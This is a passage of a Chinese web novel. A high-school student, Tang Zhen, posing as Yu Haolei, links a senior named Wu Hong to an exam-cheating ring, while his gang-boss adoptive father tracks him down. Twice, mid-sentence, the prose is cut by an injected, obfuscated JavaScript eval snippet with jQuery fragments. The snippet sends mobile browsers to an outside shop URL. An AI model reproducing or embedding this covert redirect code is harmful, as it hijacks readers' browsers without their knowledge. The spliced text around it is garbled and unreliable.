闻言,汤振继续保持着那副茫然却又十足惊讶的模样,心虚地摇了摇头,“我还是不记得,我们当时是为什么而吵。” “这你也不记得了么?当时,伍泓问你,想不想和他一起凭智商赚钱!”说完,申雅丽咽了口唾沫,声音也微微发颤。 汤振的眼神在这一刹那剧烈地颤抖,这一次大惊失色的反应,完全是他内心的真实写照。 “什么叫凭智商赚钱,”汤振压低了声音,惊道:“难道说……难道说,伍泓当时的意思就是,他要拉我一起,当作弊代笔者?” 申雅丽面色凝重地重重点了点头,“嗯,所以你刚才在办公室外面问我,伍泓有没有可能会参与作弊,我想说的是——有可能。” 雨声里,申雅丽的声音听着格外压抑:“不过,你当时的反应也很激烈,直接拒绝了伍泓,还对他说,如果他敢作弊,你就要向学校举报他。” 汤振站在原地,继续装作努力回忆却什么都想不起来的样子,眼神空洞无神,但他的双手却早已攥紧了拳头,浑然不觉指甲陷进皮肉里的痛感。 关于之前的一些碎片,汤振似乎能在脑海中隐约将它们拼凑起来了。 看着汤振呆滞的模样,申雅丽仍心有余悸地说道:“但我就只听到了这些,因为你们当时吵得太凶了,我就没有继续听,那天的外语听力我也没做,直接回了教室……” 听完申雅丽的叙述,汤振缓缓收拢了眼底的锋芒,脸上的表情也变得若有所思。 “我还想问你一个问题,”汤振抬起头,语气真诚而低沉:“既然伍泓当时那么想要拉拢我,那他到底是不是作弊团伙的幕后主使?” 申雅丽无奈地摇了摇头,“其他的事情,真的一无所知了。” “叮铃铃——” 陷入沉默的瞬间,第三节课的上课铃声穿透层层雨幕,在校园上空敲响。 汤振立刻拉上申雅丽,转身拉开铁门,两人迅速朝楼梯下面跑去。 “小心点,别慌,不要摔着了!”汤振一边跑,一边叮嘱着。 天台上,又只剩下了无边的春雨。 汤振穿过长长的走廊,朝高一3班飞奔而去,看着雨水中模糊的校园,双眼冷冽,如同结冰的深潭。 第三节课的上课铃声,刚刚响过半分钟。 趁生物老师正在黑板上奋笔疾书的几秒钟时间,汤振敏捷地推开高一3班的后门,像一阵风似的溜回了自己的座位上,身上的校服外套还残留着几分天台上的春雨湿气。 刚一落座,右手边的丁航就把身子斜了过来。 “你这大课间跑哪儿去了?现在才回来。”丁航压低了嗓门问道。 随后,前排的蒋朋也转过头来,戏谑道:“教导主任把你单独叫去办公室,是不是私底下给你颁奖了?你这次可是帮学校出了好主意啊。” 汤振脸上的紧张神色顿时消散了不少,但一路跑回教室,仍气喘吁吁的,只好露出一个皮笑肉不笑的干涩表情。 汤振从抽屉里抽出生物书,“你俩真当学校是我家开的呀?教导主任让我去她办公室门口罚站,我好说歹说才放我走的。” “没关系,反正你上学期说教导主任刀子嘴豆腐心,她心里还是关心你的啦。”丁航打趣道,差点没控制住音量。 汤振不耐烦地摆了摆手,低声道:“行了行了,教导主任让我回来转告一声,班主任怀孕七个多月了,咱们要学会让班主任少操心。” 蒋朋和丁航迅速点了点头,将视线放回了生物书上。 在生物老师的讲解声中,汤振翻开课本,目光落在密密麻麻的文字上,思绪却难以遏制地飘回了那个细雨绵绵的天台。 四十分钟的生物课,汤振在身心俱疲中度过。 下课铃声终于响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579682|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物老师刚夹着教案走出教室,原本安静的周围便瞬间恢复了喧闹。 窗外的春雨渐渐停歇,有明亮的阳光在云层后面若隐若现地躲着。 汤振合上课本,来到走廊上呼吸新鲜空气,余光却瞥见一个人影缓缓走来。 回过头,走来的是沈言峰。 沈言峰此刻的表情略微复杂,双手攥着校服下摆,在迎上汤振目光的瞬间,眼神本能地闪躲了一下。 “有事吗?”汤振双手撑在走廊栏杆上,语气平淡得毫无波澜。 “于浩磊,”沈言峰咽了一口唾沫,声音压得极低:“我,我是来谢谢你的。” 汤振微微蹙眉,淡淡地答了一声“哦”。 沈言峰看向汤振的侧脸,眼神里闪过一丝真诚,道:“贫困补助昨天下午已经打到我的卡里了。” “没必要谢,”汤振双眼看着远处一抹初春的翠绿,平静地回应道:“冒充贫困生的毕竟只是少数,以你家里的真实情况,就算没有我出的主意,你也能正常拿到补助。” 沈言峰站在原地,点了点头,“总之,你的出发点是为了帮助那些真正需要的人,所以,还是谢谢你吧。” 汤振扶着栏杆的手渐渐抓紧,他测过身,目光迎上沈言峰的双眼,“如果你真的想要谢我,我希望你还能拿出一点儿诚意。” 沈言峰神色一怔,连忙低下了头,“我……我知道了。” 留下这句话后,沈言峰瞥了一眼汤振,随后快步回到了自己的座位上,将脑袋深深埋进一堆复习资料里。 汤振若有所思地看向走廊外淋湿的树叶,眼神里多了几分疑云。 转眼,到了傍晚,暮色带来了几分凉意。 浥鸣县的天空,渐渐染上了紫红色。 许艺岚驾着车,在街道上缓慢行驶,车内没有开灯,只有低低的车载音乐悠悠传出。 许艺岚双手紧握方向盘,平日里从容优雅的脸上布满了深深的疲惫。 “嘀——” 车载蓝牙电话突然刺耳地响了起来。 许艺岚看了一眼屏幕,眉心一皱,伸手按下了接听键。 “喂,小刘,是核实库房的事情么?”许艺岚开口便问。 “岚姐,有点事情要跟你说,”电话那头,下属的声音充满焦急:“咱们公司对接的买方,他们又变卦了,就是那款最新款急速路由器的买家。” 许艺岚的右脚细微地在刹车上点了一下,车身微微一顿。 “怎么回事?上个月他们不是主动提高收购价,催我们给现货吗?”许艺岚问道。 “是,就是因为他们上个月宣布高价收购那款路由器,所以咱们的很多同行都大量进货,咱们公司也买入了很多。但刚才,买方突然说市场供过于求,想让我们降价卖。咱们库房里压的那些货退又退不掉,但如果按他们给出的价格卖,公司又赚不到钱……” 电话那头,下属汇报完后,无奈地叹了口气。 许艺岚握着方向盘的指关节阵阵发白,她烦躁地抬起左手,用力地按揉着太阳穴,抱怨道:“早知道上个月不该那么着急跟风……行了,你先稳住库房,我今晚连夜核算一下账目,明早再去公司开会做决定。” 挂断电话,车内再次只剩下车载音乐的声音。 看着前方一连串红色汽车尾灯,许艺岚摇了摇头,缓了一口气。 晚上九点半。 当汤振和于浩宁推开家门时,客厅里一片黑暗,只有许艺岚敲击键盘的声音,于强则坐在许艺岚身旁,静静地看着明亮的电脑屏幕。 餐桌上,放着各种财务报表和文件夹。 许艺岚坐在桌前,连外面的大衣都没来得及脱,戴着防蓝光眼镜,正一脸愁容地盯着电脑屏幕。 听到开门声,许艺岚手里的动作连一秒钟的停顿都没有。 “回来了啊,”许艺岚头也没抬,语气虽然温和,却透着一股高压的匆忙:“赶紧回房间好好学习,把作业写完,早点睡。” 汤振换鞋的动作微微停滞了一下,目光扫过桌上那些报表,再看着许艺岚疲劳憔悴的侧脸,不忍地抿了抿嘴。 “知道了,妈。”汤振声音温和地说道:“您也别太累了,注意身体。我和浩宁先去写作业了。” “嗯,去吧。”许艺岚点了点头,继续投入到忙碌中。 等汤振和于浩宁完成作业,已是夜里十点半。 洗漱完后,两人回了次卧,关掉了书桌上的台灯,疲惫地躺在了各自的床上。 房间里,陷入了一片黑暗,只有窗外的路灯,将暗黄的光影映入卧室的地面。 汤振望着天花板,毫无睡意。 伍泓的怒颜和申雅丽的讲述,像杂乱无章的录像带,一遍又一遍,在汤振的脑海里播放着。 在楼梯间的争吵,此刻似乎仍在耳边停留。 伍泓的声音,一阵一阵,浮现在汤振脑海中: “你能不能……不要多管闲事!” “不要多管闲事!” “不要多管闲事!” 那声音和语气…… 顿时,汤振原本放松的神经如同弓弦般拉紧。 “哗”的一声,汤振在黑暗中猛然坐了起来,带起一阵被褥的摩擦声。 突如其来的动静,把另一张床上的于浩宁惊得浑身一颤,连忙转身看向汤振。 “你怎么了,哥?”于浩宁问道。 汤振侧过头,那双隐藏在夜色中的眼睛透着锐利的神色,他看向窗外,字字清晰道:“浩宁,我想起来了!” 于浩宁愣了片刻,费力地抬起脖子,睡眼惺忪地问道:“想起什么?” 40.养父 漆黑的卧室里,汤振直挺挺地坐在床上,脑海中的回忆不断涌现,他依言答道: “我想起……开学一个月时,围堵我们的那四个人了。” 汤振的声音压得很低,却带着一股咬牙切齿的笃定。 于浩宁撑着床垫慢慢坐了起来,看向汤振的身影,问道:“你知道他们是谁了吗?” “不,”汤振否定道,复又话锋一转:“但是,我知道他们其中一个是谁了。” “是谁?” “伍泓。” 闻言,于浩宁皱起眉头,手指在发尖捏了两下,“可是……当时才开学一个月,那时候在班上和你闹矛盾最多的人,不应该是丁航吗?” “一开始我也以为是丁航,”汤振掀开被子,整个身子朝向窗户外的夜色,继续道:“但上学期期末考试那天,我们不是问过丁航吗?他亲口澄清过,那次不是他干的。虽然当时我也没有完全相信,但是看丁航的反应,他也不像是在撒谎。” 汤振轻轻将后背靠在冰凉的墙壁上,思索道:“而且,我刚才回想了一下,开学第二天,我就当众拆穿伍泓作文大赛抄袭,其实从那时起,我就和他结下了梁子。伍泓会因为这件事情而报复我,完全说得通。” 于浩宁缓缓点了点头,但眼神中仍有疑云,问道:“但这件事情都已经过去一个学期,你怎么今晚突然就想起来,把伍泓和那晚的四个人联系在一起了?” 黑暗中,汤振眼底闪过一丝自嘲,“今天大课间,伍泓来找过我。” 说着,汤振的脑海中便再次浮现出上午的情景,语气收紧:“伍泓当时警告我不要多管闲事,他说,不要多管闲事!我刚才想起这句话的时候,我就觉得……他的声音、他的语气,还有他的用词习惯,简直跟那四个人的其中一个完全相同!” 于浩宁愣神片刻,轻拍了一下床单,目光濯濯道:“你这么一说,我好像也对这句话有点印象了。” “是啊,”汤振的语气中透着一股对自身粗心大意的懊恼,“在那次围堵之前,我和伍泓其实只见过两次面,一次是我在博学厅拆穿他的抄袭,另一次是他来找我道歉。所以那次被围堵时,我对他的声音还不太熟悉,再加上当时巷子里光线太暗,他们又戴着墨镜和口罩……” 汤振攥紧了拳头,“如果不是因为伍泓今天自己绷不住来和我吵架,我也不可能把那四个人和伍泓联系在一起。” 于浩宁听完,忍不住感叹道:“那伍泓,简直就是个疯子,原来他那么早就在暗中阴你了。” “是啊,亏我还一直蠢得跟猪一样,”汤振无奈地自嘲一番,又清了清嗓子道:“直到上学期艺术大赛,他暗中陷害班长,被我看穿,我才看清他的真面目。现在看来,你哥高一的时候,和伍泓的关系绝对不像他们说的那么好。” 听到这里,于浩宁像是抓住了重点一般,将身子往前探了探,问道:“等等,那伍泓今天来找你,到底说什么了,为什么会突然警告你不要多管闲事?” “他今天找我,明面上是因为贫困补助的事情,可能他不想让人知道他领贫困补助的事儿,”汤振话锋一转,又道:“但这还不是重点,重点是后来申雅丽在天台上跟我说的那些话。” “雅丽学姐也找你了,说了什么?”于浩宁伸着脖子问道。 汤振紧紧盯着于浩宁的眼睛,声音低沉道:“申雅丽说,高一的时候,她无意间在天台铁门外听见伍泓想要拉拢你哥,一起参与作弊的生意,但是你哥当时义正辞严地拒绝了他。” 于浩宁的身体轻微一颤,缓缓地点了点头,蹙眉道:“竟然还有这种事情……不过,我哥的性格就是这样,他绝对不会与伍泓同流合污。” 汤振继续说道:“不仅如此,你哥当时还警告过伍泓,说如果伍泓真的敢组织作弊,你哥就要给学校举报。” 于浩宁急促地喘了口气,脱口而出道:“难道伍泓以为上学期期末考试作弊人员暴露的事情是你举报的?” “他应该没有怀疑到我头上。” 汤振一边思索,一边摇了摇头,继续道: “伍泓今天找我吵架,大概率只是因为贫困补助的事情;至于上学期作弊人员暴露那件事,伍泓肯定以为是丁航举报的。” 看着于浩宁疑惑的眼神,汤振条理清晰地解释道:“你想想,丁航以前每次考试都会花钱作弊,唯独期末那次他没参与,紧接着作弊人员就被发现了。所以我猜测,第一天的考试结束后,是伍泓找人去14巷围堵的丁航。丁航当时自己也是这么猜测的,现在看来,可能确实就是这样。” 于浩宁若有所思地捏着下巴,疑道:“可是作弊团伙可能不止伍泓一人啊,上学期被抓到的是沈言峰,你怎么确定是伍泓找人去围堵的丁航呢?” 汤振沉默了片刻,脑海中又闪过沈言峰那副自卑又自负的模样,答道:“我只是凭直觉认为沈言峰没那个胆子找混混去当街堵人。” 说到这,汤振的目光越来越亮,又问道:“另外就是,你还记不记得,这学期开学典礼那天,伍泓家里开的饭馆被人给砸了?” “记得啊,”于浩宁连连点头,“当时开学典礼都没结束,伍泓就跑回家了。” 汤振颔首,声音变得清晰:“那你再回忆一下,期末考试结束那天,那十个原本准备在14巷跟我和丁航约架的混混,是什么下场?” “被警察一锅端了啊,咱们都亲眼看见了。”于浩宁睁大了眼睛答道。 “没错,”汤振饶有兴致地讲道:“那十个混混,多半也是别人的小弟。既然是伍泓害他们被警察抓了,那他们的老大能咽下这口气吗?肯定要去找伍泓算账啊!” 于浩宁“嗯”了一声,听得聚精会神。 汤振的语速越来越快:“伍泓只是个高中生,家庭条件又不好,没办法用钱息事宁人。所以,那十个混混的老大就只能把伍泓家开的饭馆给砸了,以此泄愤。” 于浩宁愣了足足有半分钟,才点了点头,说道:“按你这么推测,确实从头到尾都说得通了。伍泓先是让人去围堵丁航,还跟你约第二天再打一架,但第二天,警察把伍泓叫去的人都抓走了,所以伍泓又被人报复,家里的饭馆被砸……但这毕竟只是你的推演,没有实质证据,到底是不是这样,还不好说。” “嗯,这件事我确实只能推测,没有办法确定。” 汤振平静地点了点头,但眼里随即爆发出骇人的寒芒,继续说道: “但有一件事,不需要推测就可以确定!就凭伍泓期末语文答题卡上的字迹和丁航初三物理答题卡上的字迹完全一样,就可以确定伍泓以前绝对参与过作弊。至于他现在还有没有继续干那勾当,又是另一回事。” 房间里陷入了寂静,窗外偶尔传来几声汽车的鸣笛。 于浩宁的声音在黑暗中显得沙哑:“那,那你现在准备怎么办?” 汤振的眼里似乎燃烧着一股凶狠与决绝,答道:“当时你哥准备怎么办,现在我就准备怎么办。” 于浩宁若有所思道:“但我总是忍不住会替你担心。” 汤振抿了抿嘴,声音掷地有声:“既然我要演好于浩磊,那我就不怕入戏太深。” 芳树无人花自落,春山一路鸟空啼。 在日月星辰交替中,窗外的玉兰从枝头含苞到繁花初绽,风里残留的微寒也被渐渐温煦的阳光抽离。 伴随着教室里的朗朗书声,一句句诗词,一条条公式,在黑板上出现,又消失,出现,又消失。 海风带着温热,凛冽的初春已悄然退场,浥鸣县已然换上了一派浓郁的春光。 3月27日傍晚,夕阳的余晖在浥鸣县郊外洒下一抹赤金。 五米高的拘留所大门,在一阵刺耳的金属摩擦声中,从里向外缓缓打开。 樊奕诚穿着一件单薄的黑色夹克,从门缝里走了出来,眯着眼望向空中的鎏金晚霞余晖,无奈又烦躁地抬手摸了一把自己的寸头。 足足在里面蹲了两个月的苦窑,让樊奕诚原本有些凶狠的脸颊凹陷下去了几分,眼底也多了一丝阴鸷。 “嗤——” 樊奕诚冷哼了一声,没有在拘留所门口停留太久,索性大步走到了远处的公路上。 从口袋里摸出一根烟,樊奕诚一边吞云吐雾,一边皱着眉头,似乎是在回忆着什么…… 抽完烟,樊奕诚烦躁地将烟头扔在地上,用鞋底碾灭了那一丝火光。 片刻后,樊奕诚换上了一副胜券在握的表情,悠然伸手拦下一辆出租车,毫不犹豫地钻进了后座。 “师傅,去市中心!” 樊奕诚嗓音里透着干涩和自信。 半个小时后,出租车在浥鸣县城的步行街旁停下。 付过钱,樊奕诚压低了夹克的衣领,目光在街道两旁快速扫视了一圈,随后,径直走向了远处一个略显斑驳的橙色公共电话亭。 樊奕诚再次看了看四周,小心翼翼地拿起黑色听筒,将两枚硬币塞入投币口,随后熟练地按了一串号码。 “嘟——嘟——” 在等待接通的这十几秒里,樊奕诚脸上的嚣张气焰瞬间消失,不知不觉间便挤出了一副谄媚讨好的笑容,哪怕电话那头的人根本看不见。 电话接通了。 樊奕诚连忙堆笑道:“喂,喂,汤总啊,是我,我是樊奕诚。” 电话那头,传出一个中年男人彪悍的声音,似乎隔着话筒都能被他的口水喷到:“樊奕诚!你小子被放出来了?” 一听这话,樊奕诚嘴角抽动了一下,语气里也带上了几分咬牙切齿的恨意:“是啊,汤总,我和手底下那九个弟兄,在这破县城里被关了整整两个月,今儿个刚放出来。” 电话那头的声音没有丝毫的怜悯,只有冰冷入骨的训斥:“一群废物!平时让你们办事,一个个跟没长脑子一样,居然能被当地的警察一锅端了,真是蠢得不可开交。以后在外面,别说你在我汤禾峻手底下做事,我丢不起这个人!” 劈头盖脸的臭骂,让樊奕诚的额头上瞬间渗出一层冷汗,但脸上仍堆着笑容,“是是是,汤总,您骂得对,是我大意了,没办好差事。” 樊奕诚对着空气不停地点头哈腰,用袖子擦了一把额头的汗,“汤总,我给您赔罪,您大人不记小人过。” 汤禾峻在电话那头重重啐了口唾沫,“那你现在还给我打电话干什么,准备带着你那帮蠢货回我们县吗?” “不不不,汤总,暂时不回去,”忽然,樊奕诚的眼神变得极其锐利,嘴角勾起一抹邀功的笑意,神神秘秘道:“汤总,您有所不知,我被关起来的这两个月里,把那天发生的事情仔仔细细回忆了好几遍。我发现,那天……我应该是遇到老熟人了。” “什么老熟人,”电话那头的汤禾峻有些不耐烦道:“怕是遇到你的仇家了吧?” “是真的,汤总,”樊奕诚将嘴巴紧紧靠在话筒上,压低声音道:“两个月前,我在二中后街14巷里,遇到的应该是您儿子……” 言毕,电话那头,陷入了长久的沉默,甚至能清晰地听到听筒传出的粗重呼吸声。 汤禾峻的声音猛地拔高:“你是说,你遇到了汤振那个畜生?!你怎么会遇到他,你确定没认错人?” “我肯定不会认错,”樊奕诚用力点了点头,连忙道:“汤总,我都跟着您干了这么多年了,汤振虽说只是您的养子,但您待他不错,我也见过多次,不会认错人,我的眼光,您还是信得过的吧?” “好!好得很!”电话那头,发出一阵骇人的冷笑。 汤禾峻又咬牙切齿道:“汤振这畜生,老子白养他这么多年,竟然让他给跑了。他逃走这大半年,到处都打听不到他的下落,现在被你给撞上了,真是得来全不费工夫!” 樊奕诚见缝插针地奉承道:“嘿嘿,他呀,注定跑不出您的手掌心!” “那你现在打算怎么办,”汤禾峻的语气里带着缜密的盘算:“你遇到他已经是两个月前的事情了,现在他人还在不在浥鸣县都不好说。” “汤总您放心,我有头绪,”樊奕诚的目光透过满是灰尘的电话亭玻璃,望了一眼远处的街头,笑道:“两个月前,我是在浥鸣二中附近碰到的汤振。当时是有人花钱,让我们去围堵一个叫丁航的学生。后来,就是汤振半路杀出,把丁航给救走了!” 樊奕诚又冷哼一声,继续分析道:“看起来,汤振跟那个高中生的关系倒是不错,这应该是一条可用的线索。汤总,只要您一句话,我就留在附近,多打听打听。顺藤摸瓜,绝对可以问出汤振的下落!” “很好,”电话那头,汤禾峻满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582472|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冷笑让人不寒而栗,“那你就暂时留在浥鸣县吧,不惜一切代价,帮我把那只白眼狼找回来!到时候,给你的酬劳绝对少不了!” “多谢汤总!让我办事,您就放心好了!”樊奕诚激动得声音发颤,连连道谢。 和电话那头的汤禾峻寒暄几句后,樊奕诚才小心翼翼地挂断了电话。 “咔嗒。” 电话听筒被放回了原位。 天色已逐渐染墨,樊奕诚推开电话亭的玻璃门,重新走入了傍晚温润的海风中。 越过熙熙攘攘的车流,樊奕诚从口袋里摸出一根有些发皱的香烟,叼在嘴里点燃。 猩红的烟头,在渐入夜色的街道上忽明忽暗。 半个月后的4月10日,天空中乌云低垂。 浥鸣县再次下起了雨,淅淅沥沥,连绵不断。 这一场雨,不似上个月的雨一般轻柔温润。 乌云沉重地压在教学楼的楼顶上,密集的雨水像是一张密不透风的灰色大网,顺着玻璃窗,一条条雨痕冲刷而下,整个校园里,连空气也变得潮湿逼仄。 “嗡——嗡——” 高一3班的教室里,汤振坐在座位上,双手紧紧捂住自己抽屉里振动着的手机。 这已经是今天上午第四次振动了,汤振偷偷看过一次,那是一个没有备注的陌生号码,不断地在屏幕上闪烁。 终于,大课间的下课铃声敲响。 因着下雨,今天的广播体操照例暂停。 在周围同学纷纷起身活动的那一刻,汤振迅速抓起手机,像是在躲避无形的追踪一样,快步穿过走廊,一口气冲到了楼梯间的顶层。 这里光线昏暗,只有墙外哗哗的雨声在汤振耳边回响。 “嗡——嗡——” 手机在汤振手里再次振动起来,像有一股执着的力量。 汤振深吸一口带着泥土芬芳的冷空气,用大拇指按下了接听键,将手机缓缓贴近耳边。 “喂?” 汤振的声音压得很低,带着一丝试探。 电话那头,先是传来轻微的电流声,紧接着,一阵低沉沙哑却透着漫不经心笑意的声音,顺着听筒钻进了汤振的耳内。 “跑挺远啊,汤振。”汤禾峻的声音从听筒中传出。 声音响起的一瞬间,汤振只感觉大脑一片空白,仿佛被人掐着脖子压入冰水中,浑身的血液都在刹那间冻住。 “啪嗒”一声,手机从汤振的手中滑落,砸在楼梯台阶上,顺势向下翻滚了两圈。 在碰撞中,手机屏幕骤然亮起,意外打开了免提键。 “喂,还听得出我的声音吗?” 汤禾峻带着几分戏谑和残忍的声音,瞬间被扬声器放大了数倍,在空旷昏暗的楼道里回响。 “怎么,才听见老子的声音,吓得连手机都丢掉了吗?” 汤禾峻毫无温度的嘲笑声,从台阶上躺着的手机里清晰传出。 汤振踉跄着将后背紧紧贴在冰冷的墙壁上,胸口剧烈起伏着,大口喘息着潮湿的空气。 过了几秒,汤振咬紧牙关,蹲下身子,一把抓起地上的手机,迅速关闭了免提,重新将手机贴近耳边。 “你怎么知道我的新号码?”汤振的声音依然带着压抑不住的发颤,但极力让语气听起来像是在质问。 “呵呵呵,”电话那头的汤禾峻发出了一阵低笑,“你爹我混了这么多年,总还是有点本事的吧?你才逃去浥鸣县半年,就这么看不起我了?” 汤振的眉心一皱,脱口而出道:“一定是樊奕诚!是他上个月底从拘留所出来以后告诉你的!” “看来你还没蠢到家,汤振,你还是不够小心啊。我以前教你做事的时候,就跟你说过无数次,不要随便去管别人的闲事。你要是不去多管闲事,也就不会在14巷里和樊奕诚撞上了。” “你想怎么样?”汤振的声音低得几乎听不见。 汤禾峻在电话那头抽了一口烟,漫不经心道:“我不喜欢被人猜中心思,你也不用在意我的想法。我今天给你打电话,只是想好心地提醒你一下,在外面野,也别忘了你自己到底是谁!” “我就是我自己,”汤振的眼神冷若冰霜,“我不是你的工具,也不是任何人的附属品。” 汤禾峻像是听到了天真的笑话,语气里透露着嘲讽:“你现在真的还是你自己吗?” “至少比以前好,只要远离你,我就是我自己!”汤振强忍住声音里的颤抖答道。 汤禾峻冷哼一声,道:“呵,远离我,你以为你能跑得多远?你现在潜伏在浥鸣县,你身边接触的那些人,我也有的是办法联系到。啧,我听说……你们学校里有个叫伍泓的尖子生,他好像跟你有仇,对吧?” 汤振的眼神骤然紧张,急切道:“你到底要干嘛?” “我都说了,我不干嘛,只是想先让你夹着尾巴做人而已,”汤禾峻如同在享受猎物挣扎一般,慢条斯理道:“我得好好想想,接下来,该拿什么作为谈判的筹码呢……” “你休想!” 汤振语气终于稳定下来,打断道:“汤禾峻,咱俩互相捏着的把柄都不少,我劝你一句,井水不犯河水。” “行!”汤禾峻在电话那头怒吼道:“你现在翅膀硬了是吧,那就给老子等着!” “嘟——嘟——嘟——” 电话被粗暴地挂断了。 机械的盲音在汤振的耳边回响,他缓缓放下手机,身体像是失去弹性的弓,颓然地靠在冰冷的墙壁上。 窗外,大雨还在疯狂地冲刷着校园,空中一片灰暗。 各个楼层的走廊里,大课间的喧闹声和追逐打闹的欢笑声,正顺着楼道,毫无阻挡地涌进汤振的耳朵。 汤振的眼神在幽暗的光线下剧烈地变幻着,分不清是凶狠还是恐惧。 脑海中不断闪过刚才的谈话,汤振一阵思索,眉头不自觉地皱了起来,呼吸也渐渐变得急促。 一分钟后,汤振低头看了看时间,攥紧了手机,眼神逐渐变得决绝,迈着脚步地走下台阶。 教学楼里,依旧涌动着欢声笑语。 耳边,是连绵不绝的雨声。 汤振深吸一口气,穿过走廊上的一片喧闹,分秒不停地狂奔,朝高三2班的方向冲了过去。 41.暗自较劲 汤振一路狂奔,冲到了高三2班教室旁的转角处,深吸了一口潮湿的空气。 透过后门的玻璃窗朝里面扫了一眼,伍泓的座位是空的,只有一本厚厚的棕色笔记本摊开,放在桌面上。 坐在教室前排的申雅丽,正低头整理着一沓复习资料。 汤振走到教室窗边晃了晃,申雅丽的目光自然而然地看向汤振,以及他身后如泻如注的雨幕。 汤振眼神示意了一番,申雅丽便轻轻放下手里的笔,从教室后门走了出来。 “怎么了,看你脸色不太好?”申雅丽看着汤振微微起伏的胸膛和额头上的水汽,疑惑地问道。 “我没事,”汤振将身体靠在墙壁的阴影,目光直直盯着申雅丽,问道:“能不能……请你帮我个忙?” 申雅丽没有任何犹豫,点了点头,“你先说吧,我看看行不行。” “你能不能用手机拍几张伍泓的字迹?现在伍泓桌子上正好放着笔记本。”汤振的声音压得很低。 申雅丽愣了一下,温和的双眼微微睁大,回头看了一眼教室里伍泓空荡荡的座位,疑惑道:“拍伍泓的字迹,你要做什么?” “我……拿去有用,具体的现在来不及解释,”汤振咽了一口唾沫,语气中带上了一丝郑重:“但是也请你放心,如果真出了什么岔子,我自己一个人扛,绝不会连累到你。” 听到“连累”这两个字,申雅丽的眉头瞬间皱了起来,她瞪了汤振一眼,嗔怪道:“说什么连累不连累的话呢,大家都是朋友了。说吧,你要我怎么拍?” 汤振心底涌过一丝欣慰,“就挑那种字写得多的内页拍,多拍几页,尽量保证字迹清晰。” “没问题,”申雅丽点了点头,警惕地探头望了望教室前门的方向,说道:“机会不等人,既然要做,那就现在做,伍泓刚才去厕所了,还没回来,待会儿我拍完就立刻通过手机发给你。” “好,万事小心,那我先回教室等你的消息。”汤振点了点头,跨步走开。 申雅丽理了理发丝,转身走进了教室,回头低声道:“注意看手机消息。” 汤振颔首浅笑,双手插兜,顺着楼梯朝高一的楼层走去。 大课间已经过去25分钟,此时仍未收到申雅丽的照片,汤振心里不免有些担心。 刚穿过走廊的拐角处时。 “嗡——” 口袋里的手机发出一声短促的震动。 汤振立刻停下脚步,背靠着瓷砖墙壁,迅速地掏出了手机。 消息界面上,连续跳出了五张高清的图片,全部来自申雅丽。 汤振点开第一张照片,将图片放到了最大。 屏幕上,极具伍泓个人特色的笔锋和练笔习惯,如同毫无遮掩的指纹一样,清晰地呈现在汤振的眼前。 果然,还是一模一样。 和丁航的初三物理答题卡上的字迹,一模一样,这字迹已经深深印在了汤振的脑海里。 汤振低下头,看着亮起的手机屏幕,嘴角缓缓上扬,终于在这个阴雨连绵的上午露出了一丝欣慰的笑容。 汤振脸上的阴翳神色被自信取代,他将手机塞回口袋,大步朝着高一3班的教室走去。 此时距离下一节课上课刚好还剩1分钟。 然而,当汤振跨进教室前门时,左手边,沈言峰的座位竟是空的,书包也消失不见。 汤振原本自信的步伐骤然停顿,连忙看向了第二排的江悦。 “班长,沈言峰呢,去哪儿了?” 江悦被汤振突如其来的阵势吓了一跳,她看了一眼空荡荡的前排,答道:“哦,我好像听说,沈言峰准备转学回镇上读书。只不过还没办手续,但他心情看起来不是很好,刚请了假回家。” 汤振眼神一颤,眉头微蹙,心中不知为何有些焦虑。 江悦见汤振如此神情,不免疑惑道:“于浩磊……你还好吧?”说完,伸手朝汤振晃了晃。 汤振猛然回过神来,喘了口气,表情也跟着放松下来。 “你要去找沈言峰吗?”江悦接着问道。 “哦……我没事,”汤振的声音复又平稳如常:“算了,现在肯定不去找他,等今天晚自习放学吧,我会亲自去他家里一趟。” 刺耳的上课铃,和雨声杂糅在一起。 汤振看着沈言峰那张空荡荡的课桌,心底一横,快步朝自己的座位走了过去。 漫长的下午,在汤振的眼里仿佛被无限拉长。 窗外连绵不绝的白噪音,黑板上密密麻麻的板书,似乎变成了毫无意义的符号,汤振的余光,时不时看向教室前门附近那张空荡荡的课桌上。 这场雨,大约是在晚自习上到一半时悄然停歇的。 夜幕中,伴随着一丝尖锐的下课铃声,校园的宁静被倏然划破,学生之间浮起一阵窸窸窣窣的交谈音。 汤振跟于浩宁说清楚自己的行程后,便单肩挂着书包冲出了教室。 穿过拥挤喧闹的楼道,汤振一头扎进了仲春的夜色中。 浥鸣县刚经历完一场大雨的冲刷,空气中还弥漫着潮湿与生冷的气息。 坑洼不平的水泥路面上,积着一滩一滩还未干透的水渍,闪烁的街边招牌和惨淡的路灯,投映在大大小小的水洼里,被水面切割成无数色彩斑斓的碎片。 汤振踩着满地斑驳的倒影,快步疾行,水花四溅间,将那些倒映在水中的繁华与安宁踩得粉碎。 循着记忆中的地址,汤振再次走进了那栋老旧的居民楼里。 “砰砰砰。” 汤振熟练地敲响了沈言峰家的门。 这是第二次来沈言峰家里,当锈迹斑斑的防盗门打开时,一股浓重的潮湿气息扑面而来。 沈言峰看到门外的汤振,肩膀不易察觉地瑟缩了一下,但还是让汤振进了客厅。 “为什么今天突然请假回来?”汤振开门见山地问。 沈言峰关上门,退回客厅,有些烦躁地答道:“心情不好,不行吗,班长没告诉你么?” 